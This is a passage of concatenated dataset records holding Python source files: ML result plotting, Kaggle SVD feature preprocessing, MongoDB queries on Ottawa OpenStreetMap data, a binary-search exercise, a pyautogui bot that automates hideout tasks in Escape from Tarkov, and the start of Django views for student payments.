'val_iou', 'val_loss', 'matthews_coef', 'precision', 'recall', 'iou'])\nidx_arr = ['loss']\nfor par in p:\n idx_arr = np.append(idx_arr, par)\n corr_matrix[par] = r.correlate(par, exclude=['round_epochs', 'val_matthews_coef', 'val_precision', 'val_recall', 'val_iou', 'val_loss', 'matthews_coef', 'precision', 'recall', 'iou'])\ncorr_matrix = pd.DataFrame(corr_matrix).fillna(1).reindex(idx_arr)\ncorr_matrix.to_csv(path+'corr_matrix.csv')\n\nprint(corr_matrix)\ncorr = corr_matrix.corr()\nax = sns.heatmap(corr, vmin=-1, vmax=1, center=0,cmap=sns.diverging_palette(20, 220, n=200),square=True, annot=True, fmt=\".2f\")\nax.set_xticklabels(ax.get_xticklabels(),rotation=20,horizontalalignment='right')\nax.set_title('Correlation Matrix')\nplt.savefig('%scorr.png' %path)\n\n# define metrics (double check cvs file)\navail_metric = ['loss', 'matthews_coef', 'precision', 'recall', 'iou']\nbar_legend = ['dropout', 'coarse_dim']\n\nfor mtr in avail_metric:\n #r.plot_hist(metric=mtr, bins=50)\n #plt.xlabel(mtr), plt.ylabel('N')\n #plt.savefig('%shist_%s.png' %(path, mtr)), plt.clf()\n\n r.plot_line(metric=mtr)\n plt.xlabel('hyperparameters space'), plt.ylabel(mtr)\n plt.savefig('%sline_%s.png' %(path,mtr)), plt.clf()\n\n r.plot_bars(x='depth', y=mtr, hue=bar_legend[0], col=bar_legend[1])\n plt.savefig('%sbars_%s-%s_%s.png' %(path, bar_legend[0], bar_legend[1], mtr))\n\n# Plot kde for loss\nhyp_par = ['coarse_dim', 'dropout', 'kernel_size', 'depth']\nfor hp in hyp_par:\n r.plot_kde(x='loss', y=hp)\n plt.xlabel('loss'), plt.ylabel(hp)\n plt.savefig('%skde_%s.png' %(path, hp))\n\narr_img = ['kde_coarse_dim.png', 'kde_dropout.png', 'kde_kernel_size.png', 'kde_depth.png']\nMergeImages(new_image_name='kde', old_image_name=arr_img, output_path=path, form='v', delete_old=True)\n#r.plot_corr('loss', exclude=['kernel_size', 'depth', 'round_epochs', 'val_r2score', 'val_precision', 'val_recall', 'val_iou', 'val_loss'], color_grades=10)\n#r.plot_corr('loss', exclude=['round_epochs', 'val_matthews_coef', 'val_precision', 'val_recall', 'val_iou', 'val_loss', 'matthews_coef', 'precision', 'recall', 'iou'], color_grades=10)\n#plt.savefig('%scorr.png' %path)\n\n# Merge lines plot\narr_img = ['line_%s.png' %am for am in avail_metric[1:]]\nMergeImages(new_image_name='lines_metric', old_image_name=arr_img, output_path=path, form=(2,2), delete_old=True)\nMergeImages(new_image_name='lines', old_image_name=['lines_metric.png', 'line_loss.png'], output_path=path, form='v', delete_old=True)\n\n# Merge bars plot\narr_img = ['bars_%s-%s_%s.png' %(bar_legend[0], bar_legend[1], am) for am in avail_metric]\nMergeImages(new_image_name='bars_%s-%s' %(bar_legend[0], bar_legend[1]), old_image_name=arr_img, output_path=path, form='v', delete_old=True)\n\n","repo_name":"micbia/SegU-Net","sub_path":"utils_plot/plot_optimisation.py","file_name":"plot_optimisation.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"42385564079","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 30 19:04:55 2017\n\n@author: 凯风\n\"\"\"\n\nimport numpy as np\n\nfrom dataset import Dataset,vstack,hstack\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import TruncatedSVD\n\nn_component = 500\n\nprint ('loading...')\n\n# 读取数据集\ntrain_num = Dataset.load_part('train','numeric')\ntrain_cat = Dataset.load_part('train','categorical_dummy')\ntest_num = Dataset.load_part('test','numeric')\ntest_cat = Dataset.load_part('test','categorical_dummy')\n\ntrain_cnt = train_num.shape[0]\n\n# 标准化\nss = StandardScaler()\ntrain_num_ss = ss.fit_transform(train_num)\ntest_num_ss = ss.transform(test_num)\n\n# 合并数据\nall_data = hstack((vstack((train_num_ss, test_num_ss)).astype(np.float32), vstack((train_cat, test_cat))))\n\n# 删掉\ndel train_num,train_cat,test_num,test_cat\n\n# svd初始化对象\nsvd = TruncatedSVD(n_components=n_component)\nres = svd.fit_transform(all_data)\n# print (np.sum(svd.explained_variance_ratio_))\n# 500个特征能解释99.86%的方差\n\nprint ('saving..')\nDataset.save_part_feature('svd', ['svd%d' % i for i in range(n_component)])\nDataset(svd=res[:train_cnt]).save('train')\nDataset(svd=res[train_cnt:]).save('test')\nprint ('Done.................')\n\n","repo_name":"wk448378469/Kaggle","sub_path":"Allstate_Claims_Severity/preprocess_svd.py","file_name":"preprocess_svd.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"26193257029","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCommand to import cleaned osm json file:\n mongoimport --db osm --collection ottawa --file ottawa_canada.osm.json\n\"\"\"\n\n\n\n### MongoDB Pipelines\n\ndef city_by_region_pipeline():\n \"\"\"\n Sort city region by frequency.\n \"\"\"\n pipeline = [\n\n {'$group' :\n {\n '_id' : '$address.city',\n 'count' : {'$sum' : 1}\n }\n },\n {'$sort' : {'count' : -1}}\n ]\n\n return pipeline\n\n\ndef data_source_pipeline():\n \"\"\"\n Sort data source used by frequency.\n \"\"\"\n pipeline = [\n\n {'$group' :\n {\n '_id' : '$source',\n 'count' : {'$sum' : 1}\n }\n },\n {'$match' : {'_id' : {'$ne' : None}}},\n {'$sort' : {'count' : -1}}\n ]\n\n return pipeline\n\n\ndef cuisine_types_pipeline():\n \"\"\"\n Sort cuisine types by frequency.\n \"\"\"\n pipeline = [\n\n {'$group' :\n {\n '_id' : '$cuisine',\n 'count' : {'$sum' : 1}\n }\n },\n\n {'$sort' : {'count' : -1}}\n ]\n\n return pipeline\n\n\ndef top_contributors_pipeline():\n \"\"\"\n Sort users by their total number of contributions.\n \"\"\"\n pipeline = [\n\n {'$group' :\n {\n '_id' : '$created.user',\n 'count' : {'$sum' : 1}\n }\n },\n\n {'$sort' : {'count' : -1}}\n ]\n\n return pipeline\n\n\ndef single_entry_users_pipeline():\n \"\"\"\n Show all users with a single contribution\n \"\"\"\n pipeline = [\n\n {'$group':\n {\n '_id' : '$created.user',\n 'count' : {'$sum': 1}\n }\n },\n {'$group':\n {\n '_id' : '$count',\n 'users' : {'$sum': 1}\n }\n },\n {'$sort' : {'_id' : 1}},\n {'$limit': 1 }\n ]\n\n return pipeline\n\n\n\n### Database operations\n\ndef get_db(db_name):\n \"\"\"Generates a Database object pointing to the provided MongoDB database\n\n Args:\n db_name: A string with a MongoDB database name.\n\n Returns:\n A MongoDB Database object for accessing db_name in a local MongoDB client.\n \"\"\"\n from pymongo import MongoClient\n client = MongoClient('localhost:27017')\n db = client[db_name]\n return db\n\n\ndef aggregate(db, pipeline):\n \"\"\"Generates a Database object pointing to the provided MongoDB database\n\n Args:\n db: A MongoDB Database object containing the MongoDB client and database.\n pipeline: A list containing a formatted MongoDB query.\n\n Returns:\n A MongoDB CommandCursor object containing the results of the query\n \"\"\"\n result = db.ottawa.aggregate(pipeline)\n\n return result\n\n\n\n### Main\n\ndef main():\n db = get_db('osm')\n\n import logging\n import pprint\n import os\n\n\n # Line below toggles logging output to external file - uncomment to disable\n # logging.disable(logging.CRITICAL) # Uncomment to disable logging\n logging.basicConfig(filemode='w',\n filename='..\\\\[Output]\\\\' + os.path.basename(__file__) + ' - output.txt',\n level=logging.DEBUG,\n format='%(levelname)s - %(message)s'\n )\n def query_db_composition():\n print('Number of documents: ' + str(db.ottawa.find().count()))\n print('Number of nodes: ' + str(db.ottawa.find({'type' : 'node'}).count()))\n print('Number of ways: ' + str(db.ottawa.find({'type' : 'way'}).count()))\n\n logging.debug(pprint.pformat('Number of documents: ' + str(db.ottawa.find().count())))\n logging.debug(pprint.pformat('Number of nodes: ' + str(db.ottawa.find({'type' : 'node'}).count())))\n logging.debug(pprint.pformat('Number of ways: ' + str(db.ottawa.find({'type' : 'way'}).count())))\n\n\n def query_unique_users():\n users = str(len(db.ottawa.distinct('created.user')))\n print('Number of unique users: '+ users)\n\n logging.debug(pprint.pformat('Number of unique users: ' + users))\n\n\n def query_user_list():\n result = db.ottawa.distinct('created.user')\n users = []\n\n for r in result:\n users.append(r)\n\n print('List of unique users: ')\n pprint.pprint(users)\n\n # logging.debug(pprint.pformat('Users:'))\n # logging.debug(pprint.pformat(users, indent=4)) # Unicode error in logging output\n\n def query_single_entry_users():\n result = aggregate(db, single_entry_users_pipeline())\n users = []\n\n for r in result:\n users.append(r)\n\n print('Number of users with a single entry: ')\n pprint.pprint(users, indent=4)\n\n logging.debug(pprint.pformat('Number of users with a single entry:: '))\n logging.debug(pprint.pformat(users, indent=4))\n\n\n def query_top_contributors():\n result = aggregate(db, top_contributors_pipeline())\n contributors = []\n\n for r in result:\n contributors.append(r)\n\n print('\\n' + 'Contributors: ')\n pprint.pprint(contributors, indent=4)\n\n # logging.debug(pprint.pformat('Contributors: '))\n # logging.debug(pprint.pformat(contributors, indent=4)) # Unicode error in logging output\n\n\n def query_data_sources():\n result = aggregate(db, data_source_pipeline())\n sources = []\n\n for r in result:\n sources.append(r)\n\n print('\\n' + 'Data Source: ')\n pprint.pprint(sources, indent=4)\n\n # logging.debug(pprint.pformat('Data Source: '))\n # logging.debug(pprint.pformat(sources, indent=4)) # Unicode error in logging output\n\n\n def query_city_by_regions():\n result = aggregate(db, city_by_region_pipeline())\n regions = []\n\n for r in result:\n regions.append(r)\n\n print('\\n' + 'Regions: ')\n pprint.pprint(regions, indent=4)\n\n logging.debug(pprint.pformat('Regions: '))\n logging.debug(pprint.pformat(regions, indent=4))\n\n\n def query_cuisine_types():\n result = aggregate(db, cuisine_types_pipeline())\n cuisines = []\n\n for r in result:\n cuisines.append(r)\n\n print('\\n' + 'Cuisine type: ')\n pprint.pprint(cuisines, indent=4)\n\n # logging.debug(pprint.pformat('Cuisine type: '))\n # logging.debug(pprint.pformat(cuisines, indent=4)) # Unicode error in logging output\n\n\n query_db_composition()\n query_unique_users()\n query_user_list()\n query_single_entry_users()\n query_top_contributors()\n query_data_sources()\n query_city_by_regions()\n query_cuisine_types()\n\nif __name__ == '__main__':\n\n main()","repo_name":"dwmercier/Project-3-Data-Analyst-Nanodegree","sub_path":"[Code]/querying.py","file_name":"querying.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5006235993","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\n\ndef binary_search(array,target,start,end):\n if start > end:\n return\n mid = (start+end)//2\n\n if array[mid] == target:\n return mid\n\n #중간점의 값보다 찾고자하는 값이 작은경우, - 왼쪽 확인\n elif array[mid] > target:\n return binary_search(array,target,start,mid-1)\n # 중간점의 값보다 찾고자 하는 값이 더 큰 경우 - 오른쪽 확인\n else:\n return binary_search(array,target,mid+1,end)\n\nT = int(input())\nfor tc in range(T):\n N = int(input())\n arr = list(map(int,input().split()))\n\n res = -1\n for i in range(N):\n if i == binary_search(arr,i,0,N-1):\n res = i\n\n print(res)\n\n\ndef binary_search(arr,target,start,end):\n if start > end :\n return\n mid = (start+end)//2\n\n if arr[mid] == target:\n return mid\n elif arr[mid] > target:\n return binary_search(arr,target,start,mid-1)\n else:\n return binary_search(arr,target,mid+1,end)","repo_name":"sskong777/Algorithm","sub_path":"이것이코딩테스트다/이진탐색_문제/15_28_고정점찾기/15_28_re.py","file_name":"15_28_re.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"143751642","text":"# -*- coding: utf-8 -*-\n\n#ORCHESTRATOR\n\nfrom Hideout import Hideout\nfrom ErrorChecker import ErrorChecker\n\nimport os\nfrom time import time\nfrom time import sleep\nimport pyautogui as pygui\n\n\nclass Orchestrator:\n \n def __init__(self, preset_dict, base_path):\n \n self.root_path = base_path\n \n self.workbench_tuple = (\"workbench\",preset_dict[\"workbench\"])\n self.intel_tuple = (\"intel\", preset_dict[\"intel\"])\n self.med_tuple = (\"med\", preset_dict[\"med\"])\n self.lav_tuple = (\"lav\", preset_dict[\"lav\"])\n self.nutrition_tuple = (\"nutrition\", preset_dict[\"nutrition\"])\n #scav names are MOON, 950, 25, 150, INTEL\n self.scav_tuple = (\"scav\", preset_dict[\"scav\"])\n self.water_count = (\"water\",preset_dict[\"water\"])\n self.booze_count = (\"booze\",preset_dict[\"booze\"])\n self.generator_count = (\"generator\",preset_dict[\"generator\"])\n \n self.quicksort_bool = preset_dict[\"quicksort\"]\n self.flea_bool = preset_dict[\"flea\"]\n self.insurance_bool = preset_dict[\"insurance\"]\n self.reboot_bool = preset_dict[\"reboot\"]\n \n self.runtime = preset_dict[\"runtime\"]\n if self.runtime != -1:\n self.runtime = self.runtime * 900\n print(\"RUNTIME: \" + str(self.runtime))\n self.checkupFreq = preset_dict[\"checkup\"]\n if self.checkupFreq == -1:\n self.checkupFreq = 1\n \n self.workbench_runs = 0\n self.intel_runs = 0\n self.med_runs = 0\n self.lav_runs = 0\n self.nutrition_runs = 0\n self.scav_runs = 0\n self.booze_runs = 0\n self.water_runs = 0\n self.generator_runs = 0\n self.btc_runs = 0\n self.quicksort_runs = 0\n self.flea_runs = 0\n self.insurance_runs = 0\n self.reboot_runs = 0\n \n self.my_hideout = Hideout(self.root_path)\n self.my_checker = ErrorChecker()\n self.initial_epoch = time()\n \n self.repeat_epoch = self.initial_epoch\n \n \n def runWorkbench(self):\n if self.workbench_runs == self.workbench_tuple[1][1]:\n print(\"Workbench run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.workbench_tuple[1][0], \"workbench\") \n if status == \"fail\":\n print(\"Error: Workbench failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.workbench_runs += 1\n \n def runIntel(self):\n if self.intel_runs == self.intel_tuple[1][1]:\n print(\"Intel run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.intel_tuple[1][0], \"intel\") \n if status == \"fail\":\n print(\"Error: Intel failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.intel_runs += 1\n\n \n def runMed(self):\n if self.med_runs == self.med_tuple[1][1]:\n print(\"Medstation run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.med_tuple[1][0], \"med\") \n if status == \"fail\":\n print(\"Error: Medstation failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.med_runs += 1\n \n def runLav(self):\n if self.lav_runs == self.lav_tuple[1][1]:\n print(\"Lavatory run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.lav_tuple[1][0], \"lav\") \n if status == \"fail\":\n print(\"Error: Lavatory failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.lav_runs += 1\n \n def runNutrition(self):\n if self.nutrition_runs == self.nutrition_tuple[1][1]:\n print(\"Nutrition run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.nutrition_tuple[1][0], \"nutrition\") \n if status == \"fail\":\n print(\"Error: Nutrition failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.nutrition_runs += 1\n \n def runScav(self):\n if self.scav_runs == self.scav_tuple[1][1]:\n print(\"Scav case run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.makeRecipe, self.scav_tuple[1][0], \"scav\") \n if status == \"fail\":\n print(\"Error: Scav Case failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n elif status == \"buy_fail\":\n return \"buy_fail\"\n self.scav_runs += 1\n \n def runWater(self):\n if self.water_runs == self.water_count[1]:\n print(\"Water run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.waterChecker) \n if status == \"fail\":\n print(\"Error: Water failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.water_runs += 1\n \n def runBooze(self):\n if self.booze_runs == self.booze_count[1] and self.booze_count[1] >= 0:\n print(\"Booze run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.boozeChecker) \n if status == \"fail\":\n print(\"Error: Booze failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.booze_runs += 1\n \n def runGenerator(self):\n if self.generator_runs == self.generator_count[1] and self.generator_count[1] >= 0:\n print(\"Generator run count already reached\")\n return\n status = self.my_checker.errorChecker(self.my_hideout.generatorChecker) \n if status == \"fail\":\n print(\"Error: Generator failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.generator_runs += 1\n \n def runBtc(self): \n status = self.my_checker.errorChecker(self.my_hideout.btcChecker)\n if status == \"fail\":\n print(\"Error: BTC failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.btc_runs += 1\n \n def runQuicksort(self):\n status = self.my_hideout.quickOrganizeInv()\n #doesnt run 3 times \n if status == \"fail\":\n print(\"Error: Quicksort failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.quicksort_runs += 1\n \n def runFleaClaim(self):\n status = self.my_checker.errorChecker(self.my_hideout.claimFlea)\n if status == \"fail\":\n print(\"Error: Flea failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.flea_runs += 1\n \n def runInsuranceClaim(self):\n status = self.my_checker.errorChecker(self.my_hideout.claimInsurance)\n if status == \"fail\":\n print(\"Error: Insurance failure. Aborting attempt\")\n return 'fail'\n elif status == \"FATAL\":\n return \"FATAL\"\n self.insurance_runs += 1\n \n def runAll(self, reset_value=None):\n _reset = reset_value\n run_list = [self.generator_count, self.workbench_tuple, self.intel_tuple, self.med_tuple, self.nutrition_tuple, self.lav_tuple, self.scav_tuple, self.water_count, self.booze_count]\n end_list = []\n for item in run_list:\n if type(item[1]) == tuple:\n if item[1][0] != None and item[1][1] != None:\n end_list.append(item)\n elif item[1] != None:\n end_list.append(item)\n \n if self.quicksort_bool == True and (_reset == None or _reset == \"quicksort\"):\n if self.runQuicksort() == \"FATAL\":\n return (\"FATAL\", \"quicksort\")\n _reset = None\n if self.flea_bool == True and (_reset == None or _reset == \"flea\"):\n if self.runFleaClaim() == \"FATAL\":\n return (\"FATAL\", \"flea\")\n _reset = None\n if self.insurance_bool == True and (_reset == None or _reset == \"insurance\"):\n if self.runInsuranceClaim() == \"FATAL\":\n return (\"FATAL\", \"insurance\")\n _reset = None\n if _reset == None or _reset == \"btc\":\n if self.runBtc() == \"FATAL\":\n return (\"FATAL\", \"btc\")\n _reset = None\n \n self.my_hideout.geneOnCheck()\n gene_check = False\n \n for item in end_list:\n if item[0] == \"generator\" and (_reset == None or _reset == \"generator\"):\n status = self.runGenerator()\n if status == \"FATAL\":\n return (\"FATAL\", \"generator\")\n _reset = None\n self.generator_runs += 1\n if self.my_hideout.checkForNoFuel() == \"FATAL\":\n return (\"FATAL\", \"kill\")\n gene_check = True\n continue\n elif gene_check == False:\n if self.my_hideout.checkForNoFuel() == \"FATAL\":\n return (\"FATAL\", \"kill\")\n gene_check = True\n \n if item[0] == \"workbench\" and (_reset == None or _reset == \"workbench\"):\n status = self.runWorkbench()\n if status == \"FATAL\":\n return (\"FATAL\", \"workbench\")\n elif status == \"buy_fail\":\n self.workbench_tuple[1][0] == None\n _reset = None\n elif item[0] == \"intel\" and (_reset == None or _reset == \"intel\"):\n status = self.runIntel()\n if status == \"FATAL\":\n return (\"FATAL\", \"intel\")\n elif status == \"buy_fail\":\n self.intel_tuple[1][0] == None\n _reset = None\n elif item[0] == \"med\" and (_reset == None or _reset == \"med\"):\n status = self.runMed()\n if status == \"FATAL\":\n return (\"FATAL\", \"med\")\n elif status == \"buy_fail\":\n self.med_tuple[1][0] == None\n _reset = None\n elif item[0] == \"nutrition\" and (_reset == None or _reset == \"nutrition\"):\n status = self.runNutrition()\n if status == \"FATAL\":\n return (\"FATAL\", \"nutrition\")\n elif status == \"buy_fail\":\n self.nutrition_tuple[1][0] == None\n _reset = None\n elif item[0] == \"lav\" and (_reset == None or _reset == \"lav\"):\n status = self.runLav()\n if status == \"FATAL\":\n return (\"FATAL\", \"lav\")\n elif status == \"buy_fail\":\n self.lav_tuple[1][0] == None\n _reset = None\n elif item[0] == \"scav\" and (_reset == None or _reset == \"scav\"):\n status = self.runScav()\n if status == \"FATAL\":\n return (\"FATAL\", \"scav\")\n elif status == \"buy_fail\":\n self.scav_tuple[1][0] == None\n _reset = None\n elif item[0] == \"water\" and (_reset == None or _reset == \"water\"):\n status = self.runWater()\n if status == \"FATAL\":\n return (\"FATAL\", \"water\")\n _reset = None\n elif item[0] == \"booze\" and (_reset == None or _reset == \"booze\"):\n status = self.runBooze()\n if status == \"FATAL\":\n return (\"FATAL\", \"booze\")\n _reset = None\n else:\n print(\"ERROR: Incorrect node name. Ending run...\")\n return (\"FATAL\", \"kill\")\n print(item[0].capitalize() + \" run complete\")\n print(\"\\n\")\n print(\"++++++++++++++++++++++++++++++++\")\n sleep(10)\n #GIVES 10 SEC BETWEEN EACH MAKE TO ALLOW FOR QUITTING\n \n return \"success\"\n \n def orchestrator(self, reset_value=None):\n _reset = reset_value\n while True:\n current_time = time()\n if current_time - self.initial_epoch >= self.runtime and self.runtime != -1:\n break\n #At this point, program assumes you are on tarkov fully loaded home page \n #if reset_value = getAll, don't need to change anything\n if _reset == None or _reset == \"getAll\":\n # status = self.my_hideout.getAllItems() \n # if status == \"FATAL\":\n # return (\"FATAL\", \"getAll\")\n status = self.runAll()\n if status != \"success\":\n return \"FATAL\"\n current_time = time()\n if current_time - self.repeat_epoch >= 900 * self.checkupFreq:\n print(\"ERROR: Program took more than wait interval to complete. Ending run...\")\n return (\"FATAL\", \"kill\")\n \n sleep_value = 900 * self.checkupFreq - (current_time - self.initial_epoch)\n print(\"Loop complete. Time til next checkup: \" + str(round(sleep_value, 2)) + \"s\")\n print(\"+-+-+-+-+-+-+-+-+-+-+-+-+-\")\n self.my_hideout.goToMainMenu()\n sleep(sleep_value/4)\n pygui.click(x=1395, y=543)\n sleep(sleep_value/4)\n pygui.click(x=876, y=543)\n sleep(sleep_value/4)\n pygui.click(x=1395, y=543)\n sleep(sleep_value/4)\n self.repeat_epoch = time()\n sleep(sleep_value)\n self.repeat_epoch = time()\n \n else:\n if self.my_hideout.goToMainMenu() == \"FATAL\":\n print(\"ERROR: Was not able to reset orchestrator. Ending run...\")\n return \"FATAL\"\n status = self.runAll(reset_value=_reset)\n if status != \"success\":\n return \"FATAL\"\n current_time = time()\n if current_time - self.repeat_epoch >= 900 * self.checkupFreq:\n print(\"ERROR: Program took more than wait interval to complete. Ending run...\")\n return (\"FATAL\", \"kill\")\n \n sleep_value = 900 * self.checkupFreq - (current_time - self.initial_epoch)\n print(\"Loop complete. Time til next checkup: \" + str(round(sleep_value, 2)) + \"s\")\n print(\"+-+-+-+-+-+-+-+-+-+-+-+-+-\")\n self.my_hideout.goToMainMenu()\n sleep(sleep_value/4)\n pygui.click(x=1395, y=543)\n sleep(sleep_value/4)\n pygui.click(x=876, y=543)\n sleep(sleep_value/4)\n pygui.click(x=1395, y=543)\n sleep(sleep_value/4)\n self.repeat_epoch = time()\n _reset = None\n \n return (\"complete\", \"kill\")\n \n def grabTotalTime(self):\n current_time = time()\n total_time = current_time - self.initial_epoch\n return total_time","repo_name":"midscreant/TarkBot","sub_path":"Orchestrator.py","file_name":"Orchestrator.py","file_ext":"py","file_size_in_byte":16038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"24571289085","text":"# -*- coding: utf-8 -*-\r\n\r\n# Create your views here.\r\nfrom datetime import datetime, timedelta, date\r\nfrom django.contrib.sessions.models import Session\r\nfrom django.http import HttpResponse\r\nfrom financiero.models import MatriculaFinanciera, Pago, Plazo, HoraCatedra, Ciclo, Sesion, Adelanto, Descuento\r\nfrom academico.models import Profesor, CicloForm, Institucion, Estudiante, MatriculaPrograma, MatriculaCiclo\r\nfrom django.contrib.auth.decorators import login_required # me permite usar eö @login_requerid\r\nfrom django.shortcuts import render_to_response\r\nfrom django.template import RequestContext\r\nfrom django.views.static import Context, HttpResponseRedirect # se incorporo para poder acceder a archivos estaticos\r\nfrom django.conf import settings \r\nfrom django.contrib import auth \r\n\r\n#Reportes GERALDO\r\n#from reportes import rpt_ReporteCartera, rpt_EstadoCuenta, rpt_LiquidarPagoDocente, rpt_LiquidarNominaDocente\r\n#from geraldo.generators import PDFGenerator\r\n\r\ndef calcularMargintop(programas):\r\n i = 0\r\n margintop = 0\r\n while i < len(programas):\r\n margintop = margintop + 22\r\n i = i + 5 \r\n return margintop\r\n\r\ndef comprobarPermisos(solicitud):\r\n if 'grupoUsuarioid' in solicitud.session: \r\n sesion = Session.objects.get(session_key = solicitud.session.session_key)\r\n if datetime.now() <= sesion.expire_date:\r\n sesion.expire_date = datetime.now() + timedelta(minutes=10)\r\n sesion.save()\r\n if solicitud.session['grupoUsuarioid'] == 3:\r\n return True\r\n else:\r\n if solicitud.session['grupoUsuarioid'] == 4:\r\n return True\r\n else:\r\n return False\r\n else:\r\n return False\r\n\r\ndef redireccionar(plantilla, solicitud, datos):\r\n cant = 0\r\n intituciones = Institucion.objects.all()\r\n for resultado in intituciones:\r\n institucion = resultado\r\n cant = cant + 1\r\n if cant > 0: \r\n variables = {\r\n 'user': solicitud.user, \r\n 'titulo': institucion.nombre,\r\n 'titulo_pagina': u\"Sistema de Información Académica | \" + institucion.nombre,\r\n 'path': settings.MEDIA_URL,\r\n }\r\n else:\r\n variables = {\r\n 'user': solicitud.user, \r\n 'titulo': 'Claro',\r\n 'titulo_pagina': u\"Sistema de Información Académica | Claro\",\r\n 'path': settings.MEDIA_URL,\r\n } \r\n llaves = datos.keys()\r\n for indice in range(0,len(llaves)):\r\n variables[llaves[indice]] = datos[llaves[indice]]\r\n variables = Context(variables)\r\n if solicitud.session['grupoUsuarioid'] == 3:\r\n return render_to_response(plantilla, variables, context_instance=RequestContext(solicitud))\r\n else:\r\n if solicitud.session['mora']:\r\n return render_to_response('academico/index.html', variables, context_instance=RequestContext(solicitud))\r\n else:\r\n return render_to_response(plantilla, variables, context_instance=RequestContext(solicitud))\r\n\r\n@login_required\r\ndef indice(solicitud):\r\n if comprobarPermisos(solicitud):\r\n return redireccionar('financiero/index.html', solicitud, {})\r\n else:\r\n return logout(solicitud)\r\n \r\ndef logout(solicitud):\r\n if 'grupoUsuarioid' in solicitud.session:\r\n del solicitud.session['grupoUsuarioid']\r\n if 'msg_error' in solicitud.session:\r\n solicitud.session['msg_error']\r\n auth.logout(solicitud) \r\n return HttpResponseRedirect(\"/\")\r\n\r\n#----------------------------------------------vistas estudiante---------------------------------------------------------\r\n\r\n\ndef buscarMatriculaProgramasEstudiante(solicitud):\r\n hoy = date.today()\r\n usuario = Estudiante.objects.get(id_usuario = solicitud.user.id)\r\n return MatriculaPrograma.objects.filter(estudiante = usuario.id, fecha_inscripcion__lte = hoy, fecha_vencimiento__gte = hoy)\r\n\r\n\r\n@login_required\r\ndef pagos(solicitud):\r\n if comprobarPermisos(solicitud):\r\n programas = {}\r\n matProgramas = buscarMatriculaProgramasEstudiante(solicitud) \r\n for matPrograma in matProgramas:\r\n aux = {} \r\n matCiclos = MatriculaCiclo.objects.filter(matricula_programa = matPrograma.id)\r\n for matCiclo in matCiclos:\r\n ciclo = Ciclo.objects.get(id = matCiclo.ciclo_id) \r\n matFinan = MatriculaFinanciera.objects.filter(matricula_ciclo = matCiclo.id)\r\n for matFin in matFinan:\r\n pagos = Pago.objects.filter(matricula_financiera = matFin)\r\n aux['matFinan'] = matFin\r\n aux['pagos'] = pagos\r\n aux['cantidad'] = len(pagos)\r\n aux['programas'] = matPrograma\r\n aux['ciclo'] = ciclo\r\n programas[matPrograma.id] = aux\r\n datos = {'margintop': calcularMargintop(programas),\r\n 'programas': programas} \r\n return redireccionar('financiero/estudiante/pagos.html', solicitud, datos)\r\n else:\r\n return logout(solicitud)\r\n\r\n\r\n@login_required\r\ndef calendario(solicitud):\r\n if comprobarPermisos(solicitud):\r\n programas = {}\r\n cuota_extra = 0.0\r\n matProgramas = buscarMatriculaProgramasEstudiante(solicitud) \r\n for matPrograma in matProgramas:\r\n aux = {} \r\n matCiclos = MatriculaCiclo.objects.filter(matricula_programa = matPrograma.id)\r\n for matCiclo in matCiclos:\r\n ciclo = Ciclo.objects.get(id = matCiclo.ciclo_id) \r\n matFinan = MatriculaFinanciera.objects.filter(matricula_ciclo = matCiclo.id)\r\n for matFin in matFinan:\r\n ca = Plazo.objects.filter(calendario_pago = matFin.calendario_pago)[:1]\r\n porcentaje = 0\r\n for c in ca:\r\n porcentaje = c.porcentaje_incremento\r\n \r\n calendario = Plazo.objects.filter(calendario_pago = matFin.calendario_pago)\r\n cuota_extra = round(matFin.valor_matricula/len(calendario) + (matFin.valor_matricula*porcentaje)/(100*len(calendario)), 0)\r\n \r\n aux['matFinan'] = matFin\r\n aux['calendario'] = calendario\r\n 